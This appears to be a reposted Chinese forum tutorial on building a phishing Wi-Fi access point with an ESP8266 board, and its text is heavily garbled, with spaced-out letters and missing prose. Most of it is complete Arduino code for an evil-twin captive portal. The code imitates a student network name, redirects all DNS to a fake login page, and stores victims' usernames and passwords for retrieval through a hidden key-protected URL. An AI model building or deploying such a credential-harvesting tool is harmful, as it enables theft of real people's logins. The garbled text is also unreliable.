[16894] 2021-06-11_近源渗透,超低成本打造自定义专属钓鱼WIFI

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-06-11_近源渗透,超低成本打造自定义专属钓鱼WIFI W I F I g   F r e e B u f   2 0 2 1 - 0 6 - 1 1 W A F M B P W I F I 广 E S P 8 2 6 6 1 0
A r d u i n o   1 . 8 . 1 3 A r d u i n o   -     -   2 .   A r d u i n o   -     -     -   e s p 8 2 6 6 e s p 8 2 6 6   b y   E S P 8 2 6 6   C o m m u n i t y 使 3 .   E S P 8 2 6 6 F S e s p 8 2 6 6 f s . j a r A r d u i n o t o o l s M a c O S p a s s u s e r ,   p a s s h t t p : / / a r d u i n o . e s p 8 2 6 6 . c o m / s t a b l e / p a c k a g e _ e s p 8 2 6 6 c o m _ i n d e x . j s o n h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / S p a c e h u h n T e c h / a r d u i n o / m a i n / p a c k a g e _ s p a c e h u h n _ i n d e x . j s o n / A p p l i c a t i o n s / A r d u i n o . a p p / C o n t e n t s / J a v a / t o o l s / E S P 8 2 6 6 F S / t o o l / e s p 8 2 6 6 f s . j a r
E S P 8 2 6 6 A r d u i n o   -     -   A r d u i n o   -  
# i n c l u d e   < E S P 8 2 6 6 W i F i . h > # i n c l u d e   < D N S S e r v e r . h > # i n c l u d e   < E S P 8 2 6 6 W e b S e r v e r . h > # i n c l u d e   < W i F i C l i e n t . h > # i n c l u d e   < F S . h > / /   D N S c o n s t   b y t e   D N S _ P O R T   =   5 3 ; / /   W I F I c o n s t   c h a r   * s s i d   =   " H U B U - S T U D E N T - P R O " ; / /   A P I P I P A d d r e s s   a p I P ( 1 9 2 ,   1 6 8 ,   1 ,   1 ) ; / /   S t r i n g   p p a s s w o r d   =   " t 1 2 3 0 6 1 " ; D N S S e r v e r   d n s S e r v e r ; E S P 8 2 6 6 W e b S e r v e r   w e b S e r v e r ( 8 0 ) ; / /   S t r i n g   d a t a   =   " " ; / /   S t r i n g   r e s p o n s e H T M L   =   " < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 1 ; U R L = ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / i n d e x . h t m l ' " > < / h e a d > < / h t m l > " ; / /   S t r i n g   r e s p o n s e H T M L _ e r r o r   =   " < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 5 ; U R L = ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / i n d e x . h t m l ' " > < h 3 > 5 < / h 3 > < / h e a d > < / h t m l > " ; S t r i n g   g e t C o n t e n t T y p e ( S t r i n g   f i l e n a m e ) {     i f ( w e b S e r v e r . h a s A r g ( " d o w n l o a d " ) )   r e t u r n   " a p p l i c a t i o n / o c t e t - s t r e a m " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . h t m " ) )   r e t u r n   " t e x t / h t m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . h t m l " ) )   r e t u r n   " t e x t / h t m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . c s s " ) )   r e t u r n   " t e x t / c s s " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . j s " ) )   r e t u r n   " a p p l i c a t i o n / j a v a s c r i p t " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . p n g " ) )   r e t u r n   " i m a g e / p n g " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . g i f " ) )   r e t u r n   " i m a g e / g i f " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . j p g " ) )   r e t u r n   " i m a g e / j p e g " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . i c o " ) )   r e t u r n   " i m a g e / x - i c o n " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . x m l " ) )   r e t u r n   " t e x t / x m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . p d f " ) )   r e t u r n   " a p p l i c a t i o n / x - p d f " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . z i p " ) )   r e t u r n   " a p p l i c a t i o n / x - z i p " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . g z " ) )   r e t u r n   " a p p l i c a t i o n / x - g z i p " ;     r e t u r n   " t e x t / p l a i n " ; }
/ /   v o i d   p a w ( ) {     i f ( w e b S e r v e r . a r g ( " k e y " ) = = p p a s s w o r d ) {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / p l a i n " ,   d a t a ) ;     } e l s e {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L ) ;     } } / /   v o i d   p a s s ( ) {     i f ( w e b S e r v e r . a r g ( " u s e r " )   ! =   " "   & &   w e b S e r v e r . a r g ( " p a s s " )   ! =   " " ) {         d a t a   + =   " u s e r n a m e : " ;         d a t a   + =   w e b S e r v e r . a r g ( " u s e r " ) ;         d a t a   + =   " - - - - p a s s w o r d : " ;         d a t a   + =   w e b S e r v e r . a r g ( " p a s s " ) ;         d a t a   + =   " r n " ;         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L _ e r r o r ) ;     } } v o i d   b a c k g r o u n d ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / b a c k g r o u n d . j p g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / j p e g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   b o o t s t r a p ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / b o o t s t r a p . c s s " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / c s s " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   l o g o _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / l o g o . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   f a v i c o n ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / f a v i c o n . i c o " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / x - i c o n " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   m a i n _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / m a i n . c s s " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / c s s " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   m i d d l e _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / m i d d l e . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   u n a m e _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / u n a m e . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   u p w d _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / u p w d . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; } v o i d   i n d e x _ r ( ) {     F i l e   f i l e   =   S P I F F S . o p e n ( " / i n d e x . h t m l " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / h t m l " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; } / /   v o i d   h a n d l e R o o t ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / i n d e x . h t m l " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / h t m l " ) ;
3     f i l e . c l o s e ( ) ;     r e t u r n ; } v o i d   s e t u p ( )   {     / /   W I F I     S e r i a l . b e g i n ( 9 6 0 0 ) ;     S P I F F S . b e g i n ( ) ;     W i F i . m o d e ( W I F I _ A P ) ;     W i F i . s o f t A P C o n f i g ( a p I P ,   a p I P ,   I P A d d r e s s ( 2 5 5 ,   2 5 5 ,   2 5 5 ,   0 ) ) ;     W i F i . s o f t A P ( s s i d ) ;     / /   D N S     d n s S e r v e r . s t a r t ( D N S _ P O R T ,   " * " ,   a p I P ) ;     / /   4 0 4     w e b S e r v e r . o n N o t F o u n d ( [ ] ( )   {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L ) ;     } ) ;     / /       w e b S e r v e r . o n   ( " / k e y 5 1 8 " ,   H T T P _ G E T ,   p a w ) ;     w e b S e r v e r . o n ( " / " ,   h a n d l e R o o t ) ;     / /       w e b S e r v e r . o n ( " / p a s s " ,   H T T P _ G E T ,   p a s s ) ;   w e b S e r v e r . o n ( " / b a c k g r o u n d . j p g " ,   b a c k g r o u n d ) ;   w e b S e r v e r . o n ( " / b o o t s t r a p . c s s " ,   b o o t s t r a p ) ;   w e b S e r v e r . o n ( " / l o g o . p n g " ,   l o g o _ r ) ;   w e b S e r v e r . o n ( " f a v i c o n . i c o " ,   f a v i c o n ) ;   w e b S e r v e r . o n ( " / m a i n . c s s " ,   m a i n _ r ) ;   w e b S e r v e r . o n ( " / m i d d l e . p n g " ,   m i d d l e _ r ) ;   w e b S e r v e r . o n ( " / u n a m e . p n g " ,   u n a m e _ r ) ;   w e b S e r v e r . o n ( " / u p w d . p n g " ,   u p w d _ r ) ;     w e b S e r v e r . o n ( " / i n d e x . h t m l " ,   i n d e x _ r ) ;     w e b S e r v e r . b e g i n ( ) ; } v o i d   l o o p ( )   {     d n s S e r v e r . p r o c e s s N e x t R e q u e s t ( ) ;     w e b S e r v e r . h a n d l e C l i e n t ( ) ; }
d a t a 使 E S P 8 2 6 6 F S W i F i
W i F i t e s t / t e s t 访   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / k e y 5 1 4 ? p a s s = 1 2 3 0 6 1
h t t p s : / / g i t h u b . c o m / p i a o l i n / P r o x i m a l P h i s h i n g 使 W i F i 2 0 0 m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则